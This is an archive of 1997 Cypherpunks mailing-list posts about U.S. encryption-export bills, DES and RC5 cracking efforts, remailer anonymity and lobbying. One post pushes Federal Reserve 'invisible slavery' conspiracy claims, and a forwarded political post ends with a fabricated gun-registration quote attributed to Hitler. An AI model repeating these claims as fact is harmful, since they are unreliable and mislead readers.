and Internet gambling. These legitimate law
enforcement concerns cannot and should not be
overlooked or taken lightly."

He warned that allowing encryption to be exported
would permit child pornographers to use it. "If it's
being used for child pornography? Are we going to say
that's just fine? That's it's just business? I don't
think so."

Then Sen. Kay Bailey Hutchinson (R-Tex.) chimed in,
saying she doesn't want "children to have access to
pornography or other bad types of information."

Sen. John Ashcroft (R-MO) tried to disagree. "It's like
photography. We're not going to [ban] photography if
someone takes dirty pictures." (At this point, one of
the more deaf committee members asked, "Pornography?
Are we going to ban pornography?")

Between the child-porn attack team of senators McCain,
Hollings, Kerry, and Frist, ProCODE sponsor Sen. Sen.
Conrad Burns (R-Mont.) didn't stand a chance. Hunched
over the microphone, Burns was outmaneuvered,
outprepared, and outgunned on almost every point.

Nevertheless, he introduced ProCODE II -- a so-called
compromise measure -- and was defeated 8-12. The
changes from ProCODE I gave the NSA, FBI, and CIA
oversight over crypto exports and permitted only the
export of up to 56-bit crypto products without key
escrow. Products of any strength with key escrow could
be exported freely.

That's hardly a pro-privacy, pro-encryption bill, says
the ACLU's Don Haines. "The ProCODE vote shows the
political bankruptcy of the pro-business agenda. Even
in the Commerce Committee, commerce arguments didn't
work," he says.

The committee also approved amendments proposed by
Kerry that would give jurisdiction over crypto exports
to a nine-member "Encryption Export Advisory Board."
The panel would "evaluate whether [a] market exists
abroad" and make non-binding recommendations to the
president.

Frist also introduced amendments to the McCain-Kerrey
bill that were accepted:

* Requiring that not any Federally-funded
  communications network, but only ones established "for
  transaction of government business" would use key
  escrow -- thereby jumpstarting the domestic market.

* "Requirements for a subpoenas [sic] should be no
  less stringent for obtaining keys, then [sic] for any
  other subpoenaed materials."

* Key recovery can mean recovering only a portion of
 the key "such as all but 40 bits of the key."

* NIST after consulting with DoJ and DoD will "publish
  a reference implementation plan for key recovery
  systems;" the law will not take effect until the
  president tells Congress such a study is complete.

After the vote, advocacy groups tried to put a good
face on the devastating loss -- and an expensive
defeat it was. After 15 months of lobbying, countless
hearings, backroom dealmaking, and political capital
spent, ProCODE is gutted and dead. "There's another
day. We have confidence in the system," said BSA's
Robert Holleyman. CDT's Jerry Berman said, "What is
encouraging is that unlike the CDA other committees
are getting involved."

Of course, the involvement of other committees is only
likely to add more key escrow provisions and
limitations on crypto-exports. ProCODE's replacement
-- the McCain-Kerrey bill -- now goes to the Senate
Judiciary committee, and its chairman has already been
talking about mandating key escrow in some
circumstances...

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 20 Jun 1997 09:11:19 +0800
To: cypherpunks@cyberpass.net
Subject: new money systems
Message-ID: <199706200103.SAA06874@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




I've written frequently on ideas about money here. not too long
ago I suggested that stocks are actually becoming a kind of a
currency, and that a diversity of currencies is actually
preferrable to a uniformity.

after a lot of research, I've come across some neat new technology
that cypherpunks might be interested in.

the use of money lies at the root of social interactions. what
kind of properties does that money have? those properties are
likely to influence the social interactions that ensue.

in this country, our money supply is controlled by the federal
reserve, which is actually a private banking system. there
are some people who claim that key parts of it are being
kept secret from the public, such as the controlling interests.
there is definitely little doubt that board meetings of the fed
are held in the strictest of secrecy.

in the computer industry, all software and hardware is moving
toward open standards. could this ideal translate to our money system
as well? I suspect it can.

some very reputable people are beginning to reexamine our money
system and conclude that it is not that we are competing for
scarce resources via money, but that we are competing for scarce money
utilizing resources in the process. this involves the problem of
creating money and then charging interest on this fictitious 
entity, as opposed to charging interest on money that is actually
backed by energy and not debt.

after a lot of study I've concluded that the entire money system
functions like a massive electrical circuit. this is related to
ideas presented in a mysterious document called "silent weapons
for quiet wars" which I highly recommend to anyone on the list.
some will claim it is fraudulent, but I've decided the ideas
it presents are extremely genuine, regardless of the source or
motives behind the writing.

in an electrical circuit, you have the problem of resistence
gumming up the works. engineers spend their entire lives trying
to squeeze electrical efficiency out of their devices. yet
the largest electrical circuit of all, of the greatest importance
to the health and well-being of the entire planet, I believe
has gone largely unexamined. quite possibly the electrical circuit
that comprises our world economy has large amounts of undesirable
resistance. this manifests in a very subtle way-- not direclty as
inflation, not interest rates, but as a difficulty in obtaining money.
in a system with less resistance, money would actually be easier to obtain.

and in fact many have reason to 
believe the world economy has been intentionally designed/manipulate to have
undesirable properties, such as creating an invisible and
undetectable slavery.

imagine that I have a rat on a wheel, and I am using its power to
drive my machines. part of the energy the rat expends goes into 
moving food pellets into its box. but the remaining energy I siphon
off for my own ends. the rat does not realize that it doesn't in theory
have to expend as much energy as it is doing to live, and does not
question its existence as long as it lives. but I can use this energy
for my own agenda.

would it be possible to create such a system using money? are 
*we* the rats on the treadmill? is all our money energy going toward
feeding ourselves, or is some of it being siphoned off? others who
have written intelligently on the subject are suggesting exactly that--
that a system of invisible slavery is now in existence and actually
pervades our culture. it is involved in the way the fed creates
money and manipulates interest rates, charging interest on money
that isn't truly backed by energy.

consider these questions:

1. why is it that even as our economy becomes "more productive", we
have to work harder? families now require more than one wage earner
when before they did not?

2. there are statistics that show in earlier times, it took [x]
farmers to produce the food for the population, such that the ratio
was something like 1 to 2 or so. now the ratio is nearly 1 to 60
or greater. why does this not translate into more free time for
everyone? could it be there is a means by which some entity can
siphon off our spare energy and time?

3. if someone is siphoning off energy from *everyone* simultaneously,
could it be detected in our system? how?


==

what's the solution? some are looking toward "alternative" or "local"
currencies. there are some cases such that local communities experienced
more efficient economies when they resorted to local currencies out
of desperation. 

this has extreme relevance to the cypherpunk ideals of trying to
extricate oneself from the "powers that be" and be a sovereign 
individual, particularly using technical means. it is possible that
new kinds of digital currencies will flourish, and that will not
be tied to what appears to be a very sinister system involving
the federal reserve.

some interesting ideas in new money, including digital cash,
 can be found at www.transaction.net

also, there is a system called "LETS" (local exchange transaction
system) that is getting more exposure and acceptance.

I believe that in the future there will be more and more propaganda
relative to money systems, and I hope that those here will have
a head start in understanding the secret agendas of others.

I hope others will post on this subject in the future. as I say, I believe
it is of extreme cypherpunk relevance.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Fri, 20 Jun 1997 06:22:05 +0800
To: stewarts@ix.netcom.com
Subject: Re: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <3.0.2.32.19970619093902.00759df0@popd.ix.netcom.com>
Message-ID: <199706192209.SAA25466@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Bill Stewart wrote :

> On the other hand, DES really is _much_ weaker than the DESCHALL
> project indicates - Intel CPUs aren't at all tuned for DES cracking,
> whereas a custom DES-cracker with similar horsepower could have
> done the job a lot faster.  If I remember right, Wiener's design
> used 64,000 chips, about as many as there were PCs working DESCHALL,
> for a crack that would take hours instead of months.

	The way I like to look at it, it should be easy these days to do
a  compiled custom chip deeply pipelined enough to try one key per
clock.  And ASICs running at 200 mhz aren't that uncommon these days.  
That is one key every 5 nanoseconds, or .2 billion keys a second, thus
only aout 40  of these chips ( a medium size board's worth which could
sit in a single  PC slot) could equal the maximum rate the huge
distributed cracked attained as documented in  Sameer's press release.


							Dave Emery
							die@die.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 20 Jun 1997 09:19:53 +0800
To: cypherpunks@Algebra.COM
Subject: "how washington is strangling america"
Message-ID: <199706200113.SAA08147@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

From: chasm@insync.net (Schuetzen)
To: ADVISORY.LIST@insync.net, .@insync.net, snetnews@world.std.com,
        .@insync.net
Subject: SNET: (fwd) piml] GOOD BOOK
Date: Mon, 16 Jun 1997 21:38:23 GMT


- ->  SearchNet's   SNETNEWS   Mailing List

X-No-Archive: Yes

FORWARDED On Sun, 15 Jun 1997 19:17:32, RoxanneJohnson
<alphashewolf@proaxis.com> wrote:

TO ALL PATRIOTS AND OTHER CONCERNED CITIZENS:

Here is an excellent book to read if you haven't read it already.  You can
acquire a copy thru Waldenbooks or Dalton Books or at your library (if they
carry it).  It is called A CALL FOR REVOLUTION---HOW WASHINGTON IS
STRANGLING AMERICA--AND HOW TO STOP IT by Martin L. Gross.  Below is a
brief synopsis of the book.

WE THE PEOPLE ARE ANGRY!
All across the nation, Americans are gasping for breath, waking up to find
the tentacles of Washington wrapped firmly around their necks--and
pocketbooks.  In his NEW YORK TIMES bestseller, THE GOVERNMENT RACKET:
WASHINGTON WASTE FROM A TO Z, Martin L. Gross exposed the wasteful
practices of Washington.  Now, in A CALL FOR REVOLUTION, Gross digs far
beneath that waste to uncover the startling but undeniable truth:  the core
of government is rotten.  WE'RE BEING STRANGLED BY:

*  TAX LAWS THAT DESTROY THE MIDDLE CLASS:  In 1950, a middle-class family
living in Long Island had a total tax burden of 12 percent of its income.
Today, that same family has a tax burden more than three times as much.

*  THE WELFARE PROGRAM, A NATIONAL DISGRACE:  The welfare system costs the
taxpayer more than $300 billion a year -- but if Uncle Sam wrote annual
checks for $14,700 to all 7.7 million poor families, if would cost only
$113 billion a year.

*  THE TWO PARTY DICTATORSHIP:  The Majority Leader (not elected by
voters!) has twenty-six PARTY workers on his staff -- all on the federal
payroll.  The total party tab in Congress is $20 million a year -- all paid
by taxpayers.

*  A POWER-MAD WASHINGTON:  Our cities and states are continually subjected
to unfunded mandates from the government.  Anchorage, Alaska, was forced to
pollute its waste water with fish guts, then treat the organic material in
order to comply with federal regulations.  Washington's rules will cost
that small city -- not Uncle Sam -- $428 million.

*  A BLOATED AND INDIFFERENT CONGRESS:  Congress operates at a price tag of
up to $2.8 billion a year, or some $5 million a member.  What does that get
us?  In 1991, the House passed a $151 billion highway bill -- at a cost of
$2,300 for each family of four -- without ever reading it.

Scathingly honest and crammed with investigative reporting, A CALL FOR
REVOLUTION takes us through the treacherous waters of government, offering
direct ways to correct the corruption, end the inefficiency, and tighten
the belt around the Beltway so that the federal government -- and democracy
- -- can truly be "for the people."

TAKE BACK YOUR GOVERNMENT!

Including the cold, hard facts about Vice President Al Gore's NATIONAL
PERFORMANCE REVIEW.

A CALL FOR REVOLUTION -- HOW WASHINGTON IS STRANGLING AMERICA -- AND HOW TO
STOP IT, by Martin L. Gross
Ballantine Books, New York
Libary of Congress Catalog Card Number:  93-73731
ISBN:  0-345-38773-2
Yours in Freedom,
alphashewolf@proaxis.com	
Running with the pack!!

QUOTE:  "This year will go down in history.  For the first time, a
civilized nation has full gun registration.  Our streets will be safer, our
police more efficient, and the world will follow our lead into the future!"
 -- ADOLPH HITLER, 1935

PLEASE NOTE:  Myself, a friend and his contacts at JPFO are currently
researching the above quote for authenticity.  Any leads on said quote will
be greatly appreciated.  Thanks....ASW


_______________________________________
Charles L Hamilton  (chasm@insync.net)  Houston, TX
X-No-Archive: Yes

- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: chasm@insync.net (Schuetzen)


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0099.myriad.ml.org (Matthew Ghio)
Date: Fri, 20 Jun 1997 09:25:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Recipient Anonymity
In-Reply-To: <199706180825.BAA20903@myriad.alias.net>
Message-ID: <199706200118.SAA13480@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=) wrote:

> How are messages selected?  It seems that the recipient needs to know
> the message IDs of all messages in the system, and must have a way to
> identify his messages.

Yes.  Message-IDs on usenet average around 30-35 bytes each, so for a
typical remailer one might have to download 1000 Message-IDs, which would
take about 32K, not much bigger than the message itself.

You could also use MD5 hashes of the messages, in which case a list of
1000 message-IDs would take only 16K.  (In the unlikely event of a hash
collision you could download those two messages seperately.  Unless the
number of messages was huge (millions), you could probably get away with
using only a 32 or 64-bit hash function.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 20 Jun 1997 09:39:14 +0800
To: cypherpunks@toad.com
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <v03102801afcf8bd90b39@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:18 PM -0700 6/19/97, Declan McCullagh wrote:

>That's hardly a pro-privacy, pro-encryption bill, says
>the ACLU's Don Haines. "The ProCODE vote shows the
>political bankruptcy of the pro-business agenda. Even
>in the Commerce Committee, commerce arguments didn't
>work," he says.

This of course was the crux of my criticism of SAFE, and to a lesser
extent, Pro-CODE, and of the nominally pro-liberty groups like EPIC and
CDT. They supported "business friendly" bills, perhaps catering to their
telecom and computer industry contributors, and did not take a strong civil
libertarian stance.

The whole system is corrupt.

The only hope now is the Junger and Bernstein cases, the hope being that
the Supreme Court will eventually rule in one or both of these cases that
encrypted speech is just a form of speech and that the First Amendment
protects such speech, even on networks partially funded by the Federal
government.

(Gee, nearly all highways receive Federal funds, due to the way the tax
monies are collected and then disbursed. Does this mean the government can
regulate speech in any care travelling on any highway even partly built or
operated with Federal funds? Think about the parallels.)

The whole system is corrupt.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 20 Jun 1997 09:50:15 +0800
To: cypherpunks@cyberpass.net
Subject: War has been Declared
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <v03102802afcf900806d3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:51 PM -0700 6/19/97, Mike Duvos wrote:

>You really can't fight Congress.  Ten minutes after you defeat a
>bill and spend all your resources, it will be back on the floor
>under another name and the whole thing will start over again.
>After you defeat that one, you will discover that the text of the
>measure got passed late one night as an ammendment to something
>completely unrelated.
>
>The government has infinite resources to harp incessantly on
>anything until they engineer consent for it and get what they
>want. Resistance is Futile.  You will be Assimilated.

Precisely. This "wear them out" strategy has been obvious from the beginning.

As has been the invocation of the Four Horsemen of the Infocalypse, used
increasingly to get anything passed.

The "war" many of us have known was coming is upon us.

There's no hope in negotiating for a compromise with them.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 20 Jun 1997 02:32:41 +0800
To: lucifer@dhp.com
Subject: author slip or conscious misdirection? (was Re: Declan as a Crime Beat Reporter)
In-Reply-To: <199706190400.AAA00467@dhp.com>
Message-ID: <199706191810.TAA00201@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




anonymous writes:
> An interview with cypherpunks founder Timothy C May, Jim Bell 
> and various other Cypherpunks also present.
> Interview conducted by Declan McCullagh
> ...

Excellent take almost of the quality of the Cypherpunks Enquirer's
work.  Well done.

I have one comment on punctuation style, notice that through out the
document the author uses the wrong single quote, viz:

> Tim:
>
> No it isn`t,...

There's only one poster to the list who uses the wrong quote mark in
this way consistently.  (Exercise for reader).

On the other hand the anonymous posters may have done this on purpose
to obfuscate writing style, and throw is off the track.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 20 Jun 1997 10:50:09 +0800
To: cypherpunks@toad.com
Subject: Where to get your RC5 crackers
Message-ID: <3.0.2.32.19970619191551.006fdddc@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



It seems that the RC5 cracking effort had no idea about the loads their web
server would be subjected to once thousands of DES crackers moved over to
cracking RC5. Their NT based webserver (bad idea...) collapsed. While it
recovers, you can still get the client software from
ftp://ftp.distributed.net/rc5/

Cypherpunks crack cyphers,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 20 Jun 1997 10:36:52 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <3.0.2.32.19970619192316.006d0cb0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:30 PM 6/19/97 -0700, Tim May wrote:
>This of course was the crux of my criticism of SAFE, and to a lesser
>extent, Pro-CODE, and of the nominally pro-liberty groups like EPIC and
>CDT. They supported "business friendly" bills, perhaps catering to their
>telecom and computer industry contributors, and did not take a strong civil
>libertarian stance.

Yup.  Not that any bill requiring NSA/CIA/FBI approval for export is
particularly business friendly, even for crypto software business
(much less for people in the speech and artwork businesses), of course...

>(Gee, nearly all highways receive Federal funds, due to the way the tax
>monies are collected and then disbursed. Does this mean the government can
>regulate speech in any car travelling on any highway even partly built or
>operated with Federal funds? Think about the parallels.)

You mean people might be required to get a license to travel on
government-funded roads, and be forced to demonstrate it to any cop who asks?
Or need a license to fly in non-government-funded air, or need to show
government-issued ID to travel on government-licensed airlines?
Americans would never stand for that sort of abuse!  
(As you said, "The whole system is corrupt".)  

There have been exceptions - the Alvarado-Sanchez case, in which the
Supremes decided that police had not had sufficient reason to stop
a truck traveling near but parallel to the US/Mexican border,
and therefore no right to start poking flashlights in the windows,
and no right to order the driver to open the tarp covering
half a ton of marihuana.  Or for that matter the Miranda case,
or Brown vs. Texas (you don't have to give your name even if they
arrest and book you...)  But mostly, it's corrupt, and 
every "compromise" just ratchets down the amount of freedom we have.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 20 Jun 1997 10:58:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <199706192203.PAA25585@f30.hotmail.com>
Message-ID: <v0300789fafcf9d2f9c4a@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:03 PM -0700 6/19/97, John Smith wrote:
>>Frist also introduced amendments to the McCain-Kerrey
>>bill that were accepted:
>>
>>* Requiring that not any Federally-funded
>>  communications network, but only ones established "for
>>  transaction of government business" would use key
>>  escrow -- thereby jumpstarting the domestic market.
>
>Will this narrow the bill so it no longer applies to researchers,
>students and others who happen to use subsidized networks?  If so,
>that would take out the worst part of it.  Key escrow when you're
>sending to the government isn't so bad, since the government can
>read your message anyway.

There is still the fact the "Escrow Agent" is a target of opportunity.  I
don't worry about the government reading my tax return, but I certainly
want it kept confidential from everyone else.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 20 Jun 1997 19:16:21 +0800
To: vin@shore.net
Subject: Re: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <v03007803afcf197b5cfb@[198.115.179.81]>
Message-ID: <199706191843.TAA01322@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Vin McLellan <vin@shore.net> writes:
> 	Then Paul Bradley <paul@fatmans.demon.co.uk> the sage moderator of
> Cryptography.Uk stepped in:
> 
> >Not only that, but single DES with a 56 bit key is just not being used
> >anymore in any company which has the slightest clue. If they can run a
> >distributed crack on 3DES with independent subkeys then I`ll give them
> >some attention.
> 
> 	You've convinced me, the UK _is_ on a different planet!

Nah, it's just Paul :-)

Perhaps he should rephrase that to no one with a clue _should_ be
using single DES.  Clearly lots are in practice, in spite of their
better judgement for political reasons.  The US government influence
via their export controls being a major factor pushing the practice of
using too short key lengths.

What's cryptography.uk?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 20 Jun 1997 08:05:18 +0800
To: cypherpunks@toad.com
Subject: Feinstein Amendment Passes
Message-ID: <1.5.4.32.19970619234910.00678664@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The Feinstein Amendment to S.936, the Defense
Authorization Bill, just now passed 94 to 0. Among other
provisions it prohibits the teaching of bombmaking
for criminal purposes, in line with recommendations
of a recent report by the Justice Department on the 
availability of  information on bombmaking on the
Internet:

   http://jya.com/abi.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 20 Jun 1997 11:09:05 +0800
To: cypherpunks@Algebra.COM
Subject: Party on IRC
Message-ID: <3.0.2.32.19970619200316.00710650@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Much happened this week. If you feel like a conversation, join me on
#cypherpunks on EFnet.

--Lucky, who was going to go to a party, but who's clutch gave up.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 20 Jun 1997 11:16:29 +0800
To: cypherpunks@Algebra.COM
Subject: "We had to destroy the Internet in order to save it."
Message-ID: <3.0.2.32.19970619200922.007d8b90@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

The current round of bills on crypto are going to be far worse for the net 
than the congresscritters can possibly understand.

Here are the questions I have not seen answered...

What will this do to the MIT distribution of PGP?  I expect that it will make 
it illegal.

How does this affect the security software distribution sites at University 
and US government sites? I expect that it will shut them all down.

If the Kerry bill passes (and I expect it will) it will make many of the US 
sources of free security software unavailable and/or illegal.

And this is to make the net more secure?

For who?

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBM6n0YeQCP3v30CeZAQG+/Qf9HHHWEzqRQIIlLS+FcxDEXSIJlPmMM5iA
T+Th8qbTBEJmlCpwV9WS9R6ZPy8LeqWy3HKkROPGsnbNdvr/GfkZpoRNAES1eNt7
X1SWs0qIoSmcyK4DAuGs1v5gHme3P+nxOJq3eIuAx1W5Ar8+UIYN6DcCYIsrll2n
daa+0aU/ExiP2uTN/0v69mTz1BGSR5b8qPv5+7PPqp+xZxSmfWcMqLj4Lz0Bhr4v
mJF+Zg3z4GEKg7eMWqa4MXM7VmkOTJXkSaHubi55BXvZdkhy0d1ctx9XosfAC0/d
JFj6Vw4UplgaRdr8QxBULpU5/2XFQftqeJv1yPocmfRh7lJOgqjBfg==
=QA+I
-----END PGP SIGNATURE-----

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 20 Jun 1997 11:49:12 +0800
To: frissell@panix.com
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <3.0.2.32.19970619202645.006d0670@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:13 PM 6/19/97 -0400, frissell@panix.com wrote:
>Anyone mentally retarded enough to expect a congresscritter to 
>protect one's rights deserves everything they get.  
>"Advocacy groups" could have better spent their time litigating crypto 
>and encouraging the use of strong crypto by themselves and their supporters.

While Duncan's mostly right about CONgresscritters, 
there's still a place for lobbying, as well as for litigation and coding.

The EFF and other lobbying groups have bought us about 5 years,
stalling bills like S.266 which would have banned most crypto,
though they've also let through some things like Digital Telephony
which aren't effectively implemented yet.  Without the pro-freedom
lobby groups, the anti-privacy groups have Freeh rein on the Hill,
and can get away with labelling any privacy technology as such
commie-child-porn-narcoterrorist-anti-motherhood-five-six-seven-horsemen EVIL
that the average Congresscritter (who doesn't really care, and knows it)
knows it's not safe to not to vote against it.  Of course, there are
even scarier Congresscritters (the ones who really _mean_well_),
but even the heavily-compromising groups that get funded by big corporations
to say things the corporations can't always say themselves
have helped.

Technology growth wins, gridlock is good, and delays in Congress are your
friend.
The 5 years they've bought us have been critical, letting us deploy
more technology, and understand its limits better, as Moore's law
has brought PCs into almost everyone's budget range, the Web has brought
networking into 30 million Americans' homes (and WebTV and the like
will reach even more couch potatoes), and the <&*&!#%> patents are running
out.
That Pentium 133 that you can get for the price of a fancy TV
looks a lot like the Cray 1 without the air conditioner, runs faster 
than an IBM 370, and the 28.8 modem can carry almost as much data
on your phone line as the expensive leased lines that the companies
who used IBM 370s a decade ago connected them together with.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 20 Jun 1997 11:50:18 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Where to get your RC5 crackers
In-Reply-To: <3.0.2.32.19970619191551.006fdddc@netcom9.netcom.com>
Message-ID: <3.0.2.32.19970619203138.006d85d4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:15 PM 6/19/97 -0700, Lucky Green wrote:
>It seems that the RC5 cracking effort had no idea about the loads their web
>server would be subjected to once thousands of DES crackers moved over to
>cracking RC5. Their NT based webserver (bad idea...) collapsed. While it
>recovers, you can still get the client software from
>ftp://ftp.distributed.net/rc5/

Sounds like a job for Broadcasting!  Anybody who has a copy want to
post it to Usenet?  (It also sounds like a job for web caching proxies at
ISPs.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 20 Jun 1997 12:03:28 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: FYI: Who owns Sen. Kerrey (LONG)
Message-ID: <3.0.32.19970619204928.006d5b30@best.com>
MIME-Version: 1.0
Content-Type: text/plain



see http://www.vote-smart.org/congress/104/ma/ma-jr-a/ma-jr-af.html


At 02:14 PM 6/19/97 -0400, Declan McCullagh wrote:
>I suggest you wonder about McCain and Kerry-without-the-e.
>
>-Declan
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 20 Jun 1997 12:14:55 +0800
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Where to get your RC5 crackers
In-Reply-To: <3.0.2.32.19970619191551.006fdddc@netcom9.netcom.com>
Message-ID: <v03102807afcfb05d9f83@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:15 PM -0700 6/19/97, Lucky Green wrote:
>It seems that the RC5 cracking effort had no idea about the loads their web
>server would be subjected to once thousands of DES crackers moved over to
>cracking RC5. Their NT based webserver (bad idea...) collapsed. While it
>recovers, you can still get the client software from
>ftp://ftp.distributed.net/rc5/

Reminds me of a certain Frenchman and some trees he wanted planted....

The paraphrased version would go as follows:

Someone: "Hey, I plan to get the RC5 crack software installed and running
on my machine tomorrow."

Other: "You do know, don't you, that even several thousand machines will
take several weeks, maybe months, don't you?"

Someone: "In that case, I'll get started tonight."


--Tim May

